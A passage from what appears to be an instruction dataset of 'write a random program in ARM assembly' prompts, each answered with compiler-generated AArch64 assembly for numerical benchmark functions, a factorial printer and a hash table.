str wzr, [sp, 76]
add x1, sp, 80
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x8, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 32]
add x2, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w1, w1, w0
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x3, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 2
ldr x1, [sp, 16]
add x0, x1, x0
ldr w7, [sp, 40]
mov w6, 1
mov x5, x0
mov x4, x3
mov x3, x2
ldr w2, [sp, 44]
mov x1, x8
ldr x0, [sp, 56]
bl hf05
mov w0, 1
str w0, [sp, 76]
add x1, sp, 80
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x8, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 32]
add x2, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w1, w1, w0
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x3, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 2
ldr x1, [sp, 16]
add x0, x1, x0
ldr w7, [sp, 40]
mov w6, 1
mov x5, x0
mov x4, x3
mov x3, x2
ldr w2, [sp, 44]
mov x1, x8
ldr x0, [sp, 56]
bl hf08
mov w0, 2
str w0, [sp, 76]
add x1, sp, 80
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x8, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 32]
add x2, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w1, w1, w0
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x3, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 2
ldr x1, [sp, 16]
add x0, x1, x0
ldr w7, [sp, 40]
mov w6, 1
mov x5, x0
mov x4, x3
mov x3, x2
ldr w2, [sp, 44]
mov x1, x8
ldr x0, [sp, 56]
bl hf09
add x2, sp, 80
add x1, sp, 128
add x0, sp, 104
ldr w7, [sp, 72]
mov x6, x2
mov x5, x1
mov x4, x0
ldr x3, [sp, 32]
ldr w2, [sp, 44]
ldr x1, [sp, 48]
ldr x0, [sp, 56]
bl cf_cal
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 152]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L317
bl __stack_chk_fail
.L317:
ldp x29, x30, [sp], 160
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE49:
.size cf10, .-cf10
.align 2
.global shiftfunc
.type shiftfunc, %function
shiftfunc:
.LFB50:
.cfi_startproc
sub sp, sp, #48
.cfi_def_cfa_offset 48
str x0, [sp, 24]
str x1, [sp, 16]
str w2, [sp, 12]
str x3, [sp]
str wzr, [sp, 44]
b .L319
.L320:
ldrsw x0, [sp, 44]
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr d1, [x0]
ldrsw x0, [sp, 44]
lsl x0, x0, 3
ldr x1, [sp]
add x0, x1, x0
ldr d0, [x0]
ldrsw x0, [sp, 44]
lsl x0, x0, 3
ldr x1, [sp, 16]
add x0, x1, x0
fsub d0, d1, d0
str d0, [x0]
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L319:
ldr w1, [sp, 44]
ldr w0, [sp, 12]
cmp w1, w0
blt .L320
nop
nop
add sp, sp, 48
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE50:
.size shiftfunc, .-shiftfunc
.align 2
.global rotatefunc
.type rotatefunc, %function
rotatefunc:
.LFB51:
.cfi_startproc
sub sp, sp, #48
.cfi_def_cfa_offset 48
str x0, [sp, 24]
str x1, [sp, 16]
str w2, [sp, 12]
str x3, [sp]
str wzr, [sp, 40]
b .L322
.L325:
ldrsw x0, [sp, 40]
lsl x0, x0, 3
ldr x1, [sp, 16]
add x0, x1, x0
str xzr, [x0]
str wzr, [sp, 44]
b .L323
.L324:
ldrsw x0, [sp, 40]
lsl x0, x0, 3
ldr x1, [sp, 16]
add x0, x1, x0
ldr d1, [x0]
ldrsw x0, [sp, 44]
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr d2, [x0]
ldr w1, [sp, 40]
ldr w0, [sp, 12]
mul w1, w1, w0
ldr w0, [sp, 44]
add w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp]
add x0, x1, x0
ldr d0, [x0]
fmul d0, d2, d0
ldrsw x0, [sp, 40]
lsl x0, x0, 3
ldr x1, [sp, 16]
add x0, x1, x0
fadd d0, d1, d0
str d0, [x0]
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L323:
ldr w1, [sp, 44]
ldr w0, [sp, 12]
cmp w1, w0
blt .L324
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L322:
ldr w1, [sp, 40]
ldr w0, [sp, 12]
cmp w1, w0
blt .L325
nop
nop
add sp, sp, 48
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE51:
.size rotatefunc, .-rotatefunc
.align 2
.global sr_func
.type sr_func, %function
sr_func:
.LFB52:
.cfi_startproc
stp x29, x30, [sp, -96]!
.cfi_def_cfa_offset 96
.cfi_offset 29, -96
.cfi_offset 30, -88
mov x29, sp
str x0, [sp, 72]
str x1, [sp, 64]
str w2, [sp, 60]
str x3, [sp, 48]
str x4, [sp, 40]
str d0, [sp, 32]
str w5, [sp, 56]
str w6, [sp, 28]
ldr w0, [sp, 56]
cmp w0, 1
bne .L327
ldr w0, [sp, 28]
cmp w0, 1
bne .L328
adrp x0, y
add x0, x0, :lo12:y
ldr x0, [x0]
ldr x3, [sp, 48]
ldr w2, [sp, 60]
mov x1, x0
ldr x0, [sp, 72]
bl shiftfunc
str wzr, [sp, 92]
b .L329
.L330:
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x0, x1, x0
ldr d1, [x0]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [sp, 32]
fmul d0, d1, d0
str d0, [x0]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L329:
ldr w1, [sp, 92]
ldr w0, [sp, 60]
cmp w1, w0
blt .L330
adrp x0, y
add x0, x0, :lo12:y
ldr x0, [x0]
ldr x3, [sp, 40]
ldr w2, [sp, 60]
ldr x1, [sp, 64]
bl rotatefunc
b .L339
.L328:
ldr x3, [sp, 48]
ldr w2, [sp, 60]
ldr x1, [sp, 64]
ldr x0, [sp, 72]
bl shiftfunc
str wzr, [sp, 92]
b .L332
.L333:
ldrsw x0, [sp, 92]
lsl x0, x0, 3
ldr x1, [sp, 64]
add x0, x1, x0
ldr d1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 3
ldr x1, [sp, 64]
add x0, x1, x0
ldr d0, [sp, 32]
fmul d0, d1, d0
str d0, [x0]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L332:
ldr w1, [sp, 92]
ldr w0, [sp, 60]
cmp w1, w0
blt .L333
b .L339
.L327:
ldr w0, [sp, 28]
cmp w0, 1
bne .L334
str wzr, [sp, 92]
b .L335
.L336:
ldrsw x0, [sp, 92]
lsl x0, x0, 3
ldr x1, [sp, 72]
add x0, x1, x0
ldr d1, [x0]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [sp, 32]
fmul d0, d1, d0
str d0, [x0]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L335:
ldr w1, [sp, 92]
ldr w0, [sp, 60]
cmp w1, w0
blt .L336
adrp x0, y
add x0, x0, :lo12:y
ldr x0, [x0]
ldr x3, [sp, 40]
ldr w2, [sp, 60]
ldr x1, [sp, 64]
bl rotatefunc
b .L339
.L334:
str wzr, [sp, 92]
b .L337
.L338:
ldrsw x0, [sp, 92]
lsl x0, x0, 3
ldr x1, [sp, 72]
add x0, x1, x0
ldr d1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 3
ldr x1, [sp, 64]
add x0, x1, x0
ldr d0, [sp, 32]
fmul d0, d1, d0
str d0, [x0]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L337:
ldr w1, [sp, 92]
ldr w0, [sp, 60]
cmp w1, w0
blt .L338
.L339:
nop
ldp x29, x30, [sp], 96
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE52:
.size sr_func, .-sr_func
.align 2
.global asyfunc
.type asyfunc, %function
asyfunc:
.LFB53:
.cfi_startproc
stp x29, x30, [sp, -96]!
.cfi_def_cfa_offset 96
.cfi_offset 29, -96
.cfi_offset 30, -88
mov x29, sp
str x19, [sp, 16]
stp d8, d9, [sp, 32]
.cfi_offset 19, -80
.cfi_offset 72, -64
.cfi_offset 73, -56
str x0, [sp, 72]
str x1, [sp, 64]
str w2, [sp, 60]
str d0, [sp, 48]
str wzr, [sp, 92]
b .L341
.L344:
ldrsw x0, [sp, 92]
lsl x0, x0, 3
ldr x1, [sp, 72]
add x0, x1, x0
ldr d0, [x0]
fcmpe d0, #0.0
bgt .L345
b .L342
.L345:
ldrsw x0, [sp, 92]
lsl x0, x0, 3
ldr x1, [sp, 72]
add x0, x1, x0
ldr d9, [x0]
ldr w0, [sp, 92]
scvtf d1, w0
ldr d0, [sp, 48]
fmul d1, d1, d0
ldr w0, [sp, 60]
sub w0, w0, #1
scvtf d0, w0
fdiv d8, d1, d0
ldrsw x0, [sp, 92]
lsl x0, x0, 3
ldr x1, [sp, 72]
add x0, x1, x0
ldr d0, [x0]
fmov d1, 5.0e-1
bl pow
fmul d1, d8, d0
fmov d0, 1.0e+0
fadd d0, d1, d0
ldrsw x0, [sp, 92]
lsl x0, x0, 3
ldr x1, [sp, 64]
add x19, x1, x0
fmov d1, d0
fmov d0, d9
bl pow
str d0, [x19]
.L342:
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L341:
ldr w1, [sp, 92]
ldr w0, [sp, 60]
cmp w1, w0
blt .L344
nop
nop
ldp d8, d9, [sp, 32]
ldr x19, [sp, 16]
ldp x29, x30, [sp], 96
.cfi_restore 30
.cfi_restore 29
.cfi_restore 19
.cfi_restore 72
.cfi_restore 73
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE53:
.size asyfunc, .-asyfunc
.align 2
.global oszfunc
.type oszfunc, %function
oszfunc:
.LFB54:
.cfi_startproc
stp x29, x30, [sp, -96]!
.cfi_def_cfa_offset 96
.cfi_offset 29, -96
.cfi_offset 30, -88
mov x29, sp
stp d8, d9, [sp, 16]
.cfi_offset 72, -80
.cfi_offset 73, -72
str x0, [sp, 56]
str x1, [sp, 48]
str w2, [sp, 44]
str wzr, [sp, 64]
b .L347
.L359:
ldr w0, [sp, 64]
cmp w0, 0
beq .L348
ldr w0, [sp, 44]
sub w0, w0, #1
ldr w1, [sp, 64]
cmp w1, w0
bne .L349
.L348:
ldrsw x0, [sp, 64]
lsl x0, x0, 3
ldr x1, [sp, 56]
add x0, x1, x0
ldr d0, [x0]
fcmp d0, #0.0
beq .L350
ldrsw x0, [sp, 64]
lsl x0, x0, 3
ldr x1, [sp, 56]
add x0, x1, x0
ldr d0, [x0]
fabs d0, d0
bl log
str d0, [sp, 88]
.L350:
ldrsw x0, [sp, 64]
lsl x0, x0, 3
ldr x1, [sp, 56]
add x0, x1, x0
ldr d0, [x0]
fcmpe d0, #0.0
bgt .L360
b .L362
.L360:
fmov d0, 1.0e+1
str d0, [sp, 72]
adrp x0, .LC44
ldr d0, [x0, #:lo12:.LC44]
str d0, [sp, 80]
b .L353
.L362:
fmov d0, 5.5e+0
str d0, [sp, 72]
adrp x0, .LC45
ldr d0, [x0, #:lo12:.LC45]
str d0, [sp, 80]
.L353:
ldrsw x0, [sp, 64]
lsl x0, x0, 3
ldr x1, [sp, 56]
add x0, x1, x0
ldr d0, [x0]
fcmpe d0, #0.0
bgt .L361
b .L363
.L361:
mov w0, 1
str w0, [sp, 68]
b .L356
.L363:
ldrsw x0, [sp, 64]
lsl x0, x0, 3
ldr x1, [sp, 56]
add x0, x1, x0
ldr d0, [x0]
fcmp d0, #0.0
bne .L357
str wzr, [sp, 68]
b .L356
.L357:
mov w0, -1
str w0, [sp, 68]
.L356:
ldr w0, [sp, 68]
scvtf d8, w0
ldr d1, [sp, 72]
ldr d0, [sp, 88]
fmul d0, d1, d0
bl sin
fmov d9, d0
ldr d1, [sp, 80]
ldr d0, [sp, 88]
fmul d0, d1, d0
bl sin
fadd d0, d9, d0
adrp x0, .LC46
ldr d1, [x0, #:lo12:.LC46]
fmul d1, d0, d1
ldr d0, [sp, 88]
fadd d0, d1, d0
bl exp
ldrsw x0, [sp, 64]
lsl x0, x0, 3
ldr x1, [sp, 48]
add x0, x1, x0
fmul d0, d8, d0
str d0, [x0]
b .L358
.L349:
ldrsw x0, [sp, 64]
lsl x0, x0, 3
ldr x1, [sp, 56]
add x1, x1, x0
ldrsw x0, [sp, 64]
lsl x0, x0, 3
ldr x2, [sp, 48]
add x0, x2, x0
ldr d0, [x1]
str d0, [x0]
.L358:
ldr w0, [sp, 64]
add w0, w0, 1
str w0, [sp, 64]
.L347:
ldr w1, [sp, 64]
ldr w0, [sp, 44]
cmp w1, w0
blt .L359
nop
nop
ldp d8, d9, [sp, 16]
ldp x29, x30, [sp], 96
.cfi_restore 30
.cfi_restore 29
.cfi_restore 72
.cfi_restore 73
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE54:
.size oszfunc, .-oszfunc
.align 2
.global cf_cal
.type cf_cal, %function
cf_cal:
.LFB55:
.cfi_startproc
stp x29, x30, [sp, -128]!
.cfi_def_cfa_offset 128
.cfi_offset 29, -128
.cfi_offset 30, -120
mov x29, sp
stp d8, d9, [sp, 16]
.cfi_offset 72, -112
.cfi_offset 73, -104
str x0, [sp, 88]
str x1, [sp, 80]
str w2, [sp, 76]
str x3, [sp, 64]
str x4, [sp, 56]
str x5, [sp, 48]
str x6, [sp, 40]
str w7, [sp, 72]
str xzr, [sp, 104]
str xzr, [sp, 112]
ldrsw x0, [sp, 72]
lsl x0, x0, 3
bl malloc
str x0, [sp, 120]
str wzr, [sp, 96]
b .L365
.L372:
ldrsw x0, [sp, 96]
lsl x0, x0, 3
ldr x1, [sp, 40]
add x0, x1, x0
ldr d1, [x0]
ldrsw x0, [sp, 96]
lsl x0, x0, 3
ldr x1, [sp, 48]
add x0, x1, x0
ldr d0, [x0]
ldrsw x0, [sp, 96]
lsl x0, x0, 3
ldr x1, [sp, 40]
add x0, x1, x0
fadd d0, d1, d0
str d0, [x0]
ldrsw x0, [sp, 96]
lsl x0, x0, 3
ldr x1, [sp, 120]
add x0, x1, x0
str xzr, [x0]
str wzr, [sp, 100]
b .L366
.L367:
ldrsw x0, [sp, 100]
lsl x0, x0, 3
ldr x1, [sp, 88]
add x0, x1, x0
ldr d1, [x0]
ldr w1, [sp, 96]
ldr w0, [sp, 76]
mul w1, w1, w0
ldr w0, [sp, 100]
add w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 64]
add x0, x1, x0
ldr d0, [x0]
fsub d0, d1, d0
fmov d1, 2.0e+0
bl pow
fmov d1, d0
ldrsw x0, [sp, 96]
lsl x0, x0, 3
ldr x1, [sp, 120]
add x0, x1, x0
ldr d0, [x0]
ldrsw x0, [sp, 96]
lsl x0, x0, 3
ldr x1, [sp, 120]
add x0, x1, x0
fadd d0, d1, d0
str d0, [x0]
ldr w0, [sp, 100]
add w0, w0, 1
str w0, [sp, 100]
.L366:
ldr w1, [sp, 100]
ldr w0, [sp, 76]
cmp w1, w0
blt .L367
ldrsw x0, [sp, 96]
lsl x0, x0, 3
ldr x1, [sp, 120]
add x0, x1, x0
ldr d0, [x0]
fcmp d0, #0.0
beq .L368
ldrsw x0, [sp, 96]
lsl x0, x0, 3
ldr x1, [sp, 120]
add x0, x1, x0
ldr d0, [x0]
fmov d1, 1.0e+0
fdiv d0, d1, d0
fmov d1, 5.0e-1
bl pow
fmov d9, d0
ldrsw x0, [sp, 96]
lsl x0, x0, 3
ldr x1, [sp, 120]
add x0, x1, x0
ldr d0, [x0]
fneg d1, d0
fmov d0, 2.0e+0
fdiv d1, d1, d0
ldr w0, [sp, 76]
scvtf d0, w0
fdiv d8, d1, d0
ldrsw x0, [sp, 96]
lsl x0, x0, 3
ldr x1, [sp, 56]
add x0, x1, x0
ldr d0, [x0]
fmov d1, 2.0e+0
bl pow
fdiv d0, d8, d0
bl exp
ldrsw x0, [sp, 96]
lsl x0, x0, 3
ldr x1, [sp, 120]
add x0, x1, x0
fmul d0, d9, d0
str d0, [x0]
b .L369
.L368:
ldrsw x0, [sp, 96]
lsl x0, x0, 3
ldr x1, [sp, 120]
add x0, x1, x0
adrp x1, .LC47
ldr d0, [x1, #:lo12:.LC47]
str d0, [x0]
.L369:
ldrsw x0, [sp, 96]
lsl x0, x0, 3
ldr x1, [sp, 120]
add x0, x1, x0
ldr d0, [x0]
ldr d1, [sp, 104]
fcmpe d1, d0
bmi .L380
b .L370
.L380:
ldrsw x0, [sp, 96]
lsl x0, x0, 3
ldr x1, [sp, 120]
add x0, x1, x0
ldr d0, [x0]
str d0, [sp, 104]
.L370:
ldr w0, [sp, 96]
add w0, w0, 1
str w0, [sp, 96]
.L365:
ldr w1, [sp, 96]
ldr w0, [sp, 72]
cmp w1, w0
blt .L372
str wzr, [sp, 96]
b .L373
.L374:
ldrsw x0, [sp, 96]
lsl x0, x0, 3
ldr x1, [sp, 120]
add x0, x1, x0
ldr d0, [x0]
ldr d1, [sp, 112]
fadd d0, d1, d0
str d0, [sp, 112]
ldr w0, [sp, 96]
add w0, w0, 1
str w0, [sp, 96]
.L373:
ldr w1, [sp, 96]
ldr w0, [sp, 72]
cmp w1, w0
blt .L374
ldr d0, [sp, 104]
fcmp d0, #0.0
bne .L375
str wzr, [sp, 96]
b .L376
.L377:
ldrsw x0, [sp, 96]
lsl x0, x0, 3
ldr x1, [sp, 120]
add x0, x1, x0
fmov d0, 1.0e+0
str d0, [x0]
ldr w0, [sp, 96]
add w0, w0, 1
str w0, [sp, 96]
.L376:
ldr w1, [sp, 96]
ldr w0, [sp, 72]
cmp w1, w0
blt .L377
ldr w0, [sp, 72]
scvtf d0, w0
str d0, [sp, 112]
.L375:
ldr x0, [sp, 80]
str xzr, [x0]
str wzr, [sp, 96]
b .L378
.L379:
ldr x0, [sp, 80]
ldr d1, [x0]
ldrsw x0, [sp, 96]
lsl x0, x0, 3
ldr x1, [sp, 120]
add x0, x1, x0
ldr d2, [x0]
ldr d0, [sp, 112]
fdiv d2, d2, d0
ldrsw x0, [sp, 96]
lsl x0, x0, 3
ldr x1, [sp, 40]
add x0, x1, x0
ldr d0, [x0]
fmul d0, d2, d0
fadd d0, d1, d0
ldr x0, [sp, 80]
str d0, [x0]
ldr w0, [sp, 96]
add w0, w0, 1
str w0, [sp, 96]
.L378:
ldr w1, [sp, 96]
ldr w0, [sp, 72]
cmp w1, w0
blt .L379
ldr x0, [sp, 120]
bl free
nop
ldp d8, d9, [sp, 16]
ldp x29, x30, [sp], 128
.cfi_restore 30
.cfi_restore 29
.cfi_restore 72
.cfi_restore 73
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE55:
.size cf_cal, .-cf_cal
.section .rodata
.align 3
.LC29:
.word 1413754136
.word 1074340347
.align 3
.LC30:
.word 1413754136
.word 1075388923
.align 3
.LC31:
.word -1998362383
.word 1066727605
.align 3
.LC32:
.word -1717986918
.word 1070176665
.align 3
.LC33:
.word -1717986918
.word -1077306983
.align 3
.LC34:
.word -1961601175
.word 1074118410
.align 3
.LC35:
.word 1202590843
.word 1064598241
.align 3
.LC36:
.word -350469331
.word 1068119778
.align 3
.LC37:
.word -66366459
.word 1081757567
.align 3
.LC38:
.word -402576352
.word 1081749433
.align 3
.LC39:
.word -1717986918
.word 1068079513
.align 3
.LC40:
.word -1717986918
.word 1069128089
.align 3
.LC41:
.word -755914244
.word 1062232653
.align 3
.LC42:
.word 536870912
.word 1107468383
.align 3
.LC43:
.word 966823146
.word 1177108057
.align 3
.LC44:
.word -1717986918
.word 1075812761
.align 3
.LC45:
.word -858993459
.word 1074318540
.align 3
.LC46:
.word 721554506
.word 1068045959
.align 3
.LC47:
.word -1568170194
.word 1417495214
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
bl f
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
.align 2
.global g
.type g, %function
g:
.LFB1:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
bl f
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE1:
.size g, .-g
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global ft_ultimate_ft
.type ft_ultimate_ft, %function
ft_ultimate_ft:
.LFB0:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, 8]
ldr x0, [sp, 8]
ldr x0, [x0]
ldr x0, [x0]
ldr x0, [x0]
ldr x0, [x0]
ldr x0, [x0]
ldr x0, [x0]
ldr x0, [x0]
ldr x0, [x0]
mov w1, 42
str w1, [x0]
nop
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size ft_ultimate_ft, .-ft_ultimate_ft
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "fact 6 = %d\n"
.align 3
.LC1:
.string "fact 7 = %d\n"
.align 3
.LC2:
.string "fact 8 = %d\n"
.text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
mov w0, 1
str w0, [sp, 24]
mov w0, 1
str w0, [sp, 28]
b .L2
.L3:
ldr w1, [sp, 28]
ldr w0, [sp, 24]
mul w0, w1, w0
str w0, [sp, 28]
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
.L2:
ldr w0, [sp, 24]
cmp w0, 6
ble .L3
ldr w1, [sp, 28]
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
mov w0, 1
str w0, [sp, 24]
mov w0, 1
str w0, [sp, 28]
b .L4
.L5:
ldr w0, [sp, 24]
add w1, w0, 1
str w1, [sp, 24]
ldr w1, [sp, 28]
mul w0, w1, w0
str w0, [sp, 28]
.L4:
ldr w0, [sp, 24]
cmp w0, 7
ble .L5
ldr w1, [sp, 28]
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl printf
mov w0, 1
str w0, [sp, 24]
mov w0, 1
str w0, [sp, 28]
.L6:
ldr w0, [sp, 24]
add w1, w0, 1
str w1, [sp, 24]
ldr w1, [sp, 28]
mul w0, w1, w0
str w0, [sp, 28]
ldr w0, [sp, 24]
cmp w0, 8
ble .L6
ldr w1, [sp, 28]
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl printf
mov w0, 0
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global hash_table_init
.type hash_table_init, %function
hash_table_init:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str x0, [sp, 24]
str x1, [sp, 16]
ldr x0, [sp, 16]
str wzr, [x0]
mov x2, 28928
movk x2, 0x2, lsl 16
mov w1, 0
ldr x0, [sp, 24]
bl memset
nop
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size hash_table_init, .-hash_table_init
.align 2
.global hash_table_hash_str
.type hash_table_hash_str, %function
hash_table_hash_str:
.LFB7:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, 8]
ldr x0, [sp, 8]
str x0, [sp, 24]
ldr x0, [sp, 24]
ldrsb w0, [x0]
str w0, [sp, 20]
ldr w0, [sp, 20]
cmp w0, 0
beq .L3
ldr x0, [sp, 24]
add x0, x0, 1
str x0, [sp, 24]
b .L4
.L5:
ldr w0, [sp, 20]
lsl w1, w0, 5
ldr w0, [sp, 20]
sub w0, w1, w0
ldr x1, [sp, 24]
ldrsb w1, [x1]
add w0, w0, w1
str w0, [sp, 20]
ldr x0, [sp, 24]
add x0, x0, 1
str x0, [sp, 24]
.L4:
ldr x0, [sp, 24]
ldrsb w0, [x0]
cmp w0, 0
bne .L5
.L3:
ldr w0, [sp, 20]
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size hash_table_hash_str, .-hash_table_hash_str
.section .rodata
.align 3
.LC0:
.string "out of hash table memory!"
.align 3
.LC1:
.string "%s already exists!\n"
.text
.align 2
.global hash_table_insert
.type hash_table_insert, %function
hash_table_insert:
.LFB8:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
str x0, [sp, 40]
str w1, [sp, 36]
str x2, [sp, 24]
str x3, [sp, 16]
ldr x0, [sp, 16]
ldr w1, [x0]
mov w0, 19999
cmp w1, w0
ble .L8
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl puts
b .L7
.L8:
ldr x0, [sp, 40]
bl hash_table_hash_str
mov w1, 5977
movk w1, 0xd1b7, lsl 16
umull x1, w0, w1
lsr x1, x1, 32
lsr w2, w1, 14
mov w1, 20000
mul w1, w2, w1
sub w0, w0, w1
str w0, [sp, 60]
ldr w0, [sp, 60]
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr x0, [x0]
str x0, [sp, 64]
b .L10
.L12:
ldr x0, [sp, 64]
ldr x0, [x0]
ldr x1, [sp, 40]
bl strcmp
cmp w0, 0
bne .L11
ldr x1, [sp, 40]
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl printf
b .L7
.L11:
ldr x0, [sp, 64]
ldr x0, [x0, 16]
str x0, [sp, 64]
.L10:
ldr x0, [sp, 64]
cmp x0, 0
bne .L12
mov x0, 24
bl malloc
str x0, [sp, 72]
mov x2, 24
mov w1, 0
ldr x0, [sp, 72]
bl memset
ldr x0, [sp, 40]
bl strlen
add x0, x0, 1
bl malloc
mov x1, x0
ldr x0, [sp, 72]
str x1, [x0]
ldr x0, [sp, 72]
ldr x0, [x0]
ldr x1, [sp, 40]
bl strcpy
ldr x0, [sp, 72]
ldr w1, [sp, 36]
str w1, [x0, 8]
ldr w0, [sp, 60]
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr x1, [x0]
ldr x0, [sp, 72]
str x1, [x0, 16]
ldr w0, [sp, 60]
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr x1, [sp, 72]
str x1, [x0]
ldr x0, [sp, 16]
add x0, x0, 4
str x0, [sp, 16]
.L7:
ldp x29, x30, [sp], 80
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE8:
.size hash_table_insert, .-hash_table_insert
.align 2
.global hash_table_lookup
.type hash_table_lookup, %function
hash_table_lookup:
.LFB9:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str x1, [sp, 16]
ldr x0, [sp, 24]
bl hash_table_hash_str
mov w1, 5977
movk w1, 0xd1b7, lsl 16
umull x1, w0, w1
lsr x1, x1, 32
lsr w2, w1, 14
mov w1, 20000
mul w1, w2, w1
sub w0, w0, w1
str w0, [sp, 36]
ldr w0, [sp, 36]
lsl x0, x0, 3
ldr x1, [sp, 16]
add x0, x1, x0
ldr x0, [x0]
cmp x0, 0
beq .L14
ldr w0, [sp, 36]
lsl x0, x0, 3
ldr x1, [sp, 16]
add x0, x1, x0
ldr x0, [x0]
str x0, [sp, 40]
b .L15
.L18:
ldr x0, [sp, 40]
ldr x0, [x0]
mov x1, x0
ldr x0, [sp, 24]
bl strcmp
cmp w0, 0
bne .L16
